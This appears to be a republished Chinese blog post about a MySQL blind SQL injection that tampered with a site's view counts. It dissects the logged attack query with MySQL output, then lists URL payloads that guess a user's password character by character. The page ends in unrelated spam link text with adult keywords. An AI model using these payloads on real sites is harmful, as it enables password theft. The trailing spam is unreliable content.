<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關(guān)鍵字專題1關(guān)鍵字專題50關(guān)鍵字專題500關(guān)鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關(guān)鍵字專題關(guān)鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當(dāng)前位置: 首頁 - 科技 - 知識百科 - 正文

        遭遇一次MySQL猜解注入攻擊

        來源:懂視網(wǎng) 責(zé)編:小采 時間:2020-11-09 13:36:38
        文檔

        遭遇一次MySQL猜解注入攻擊

        遭遇一次MySQL猜解注入攻擊:前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(Fi
        推薦度:
        導(dǎo)讀遭遇一次MySQL猜解注入攻擊:前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(Fi

        前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM us

        前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼:

        UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#
        

        PS:user 這個表是數(shù)據(jù)庫里一個以前測試用的表,表的結(jié)構(gòu)也寫到博文里面,暴露了字段。

        這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

        1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數(shù)可用來獲取一個類型的值,并產(chǎn)生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數(shù)的用法 這篇文章。我們執(zhí)行一下,看看結(jié)果是什么:

        mysql> SELECT CAST(FirstName AS CHAR) FROM user;
        +-------------------------+
        | CAST(FirstName AS CHAR) |
        +-------------------------+
        | Gonn |
        | Mio |
        | Google |
        | yale |
        +-------------------------+
        4 rows in set
        

        就是將 FirstName 這個字段全部轉(zhuǎn)成 CHAR 類型。

        2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數(shù)用法》。

        執(zhí)行一下:

        mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;
        +--------------------------------------+
        | IFNULL(CAST(FirstName AS CHAR),0x20) |
        +--------------------------------------+
        | Gonn |
        | Mio |
        | Google |
        | yale |
        +--------------------------------------+
        4 rows in set
        

        雖然看起來結(jié)果沒啥不同,但是,它起到了一個作用。假設(shè) CAST 轉(zhuǎn)換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

        3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數(shù)就是截取字符串用的,具體可以看看《MySQL MID()函數(shù)用法》這個。

        mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);
        +----------------------------------------------------------------------------------------+
        | MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |
        +----------------------------------------------------------------------------------------+
        | i |
        +----------------------------------------------------------------------------------------+
        1 row in set
        

        就得到一個字母 i。

        4. 關(guān)鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數(shù)返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數(shù)用法》》。

        mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));
        +---------------------------------------------------------------------------------------------+
        | ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |
        +---------------------------------------------------------------------------------------------+
        | 105 |
        +---------------------------------------------------------------------------------------------+
        1 row in set
        

        就是 i 的 ASCII 碼是105.

        如果是失敗,返回 0x20 這種情況:

        mysql> SELECT ORD('0x20');
        +-------------+
        | ORD('0x20') |
        +-------------+
        | 48 |
        +-------------+
        1 row in set
        

        兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執(zhí)行的。

        UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#
        

        MySQL 猜解注入

        在 MySQL 中內(nèi)置了很多函數(shù),利用它們,即使在沒有聯(lián)合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設(shè)網(wǎng)站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:

        http://www.nm.net/index.php?id=10 and length(password)=12#
        

        我們通過 length() 函數(shù)以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數(shù)字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

        http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#
        

        Mid()函數(shù)原型是“Mid(str,pos,len)”,也可以用substring()函數(shù)。Char()函數(shù)的參數(shù)是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

        另外還可以用between()函數(shù)先判斷這個字符是數(shù)字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

        http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#
        

        除了char()函數(shù),還可以用ord函數(shù)來進行猜解。Ord函數(shù)可以得到字符的ASCII值,所以它也能實現(xiàn)類似的功能:

        http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#
        

        用ord函數(shù)的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

        http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#
        

        就這樣慢慢一步步手工猜解注入。

        聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        遭遇一次MySQL猜解注入攻擊

        遭遇一次MySQL猜解注入攻擊:前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(Fi
        推薦度:
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 99久久亚洲精品无码毛片| 亚洲成年轻人电影网站www | 在线免费观看亚洲| 国产V亚洲V天堂无码久久久| 一区二区在线免费视频| 亚洲日本中文字幕一区二区三区| 色多多免费视频观看区一区| 免费一级毛片在线播放| 免费一级全黄少妇性色生活片| 亚洲AV无码乱码在线观看牲色| 污视频网站免费在线观看| 亚洲天堂中文字幕在线| 中文字幕久精品免费视频| 久久亚洲精精品中文字幕| av大片在线无码免费| 亚洲人av高清无码| 波多野结衣免费视频观看| 国产高清对白在线观看免费91| 亚洲成色www久久网站夜月| 久久综合国产乱子伦精品免费 | 波多野结衣中文一区二区免费| 一区在线免费观看| 亚洲日本在线观看| 啦啦啦高清视频在线观看免费| 欧洲亚洲综合一区二区三区| 亚洲综合色成在线播放| 午夜影院免费观看| 亚洲人精品亚洲人成在线| 亚洲无码黄色网址| 亚洲人成免费电影| 最新亚洲人成无码网www电影| 亚洲综合在线另类色区奇米| 精品一区二区三区免费毛片爱 | 中文字幕精品三区无码亚洲 | 国产精品爱啪在线线免费观看| 亚洲精品无码专区在线播放| 亚洲午夜无码久久久久| 啦啦啦高清视频在线观看免费 | 免费观看无遮挡www的视频| 美国免费高清一级毛片| 亚洲综合日韩中文字幕v在线|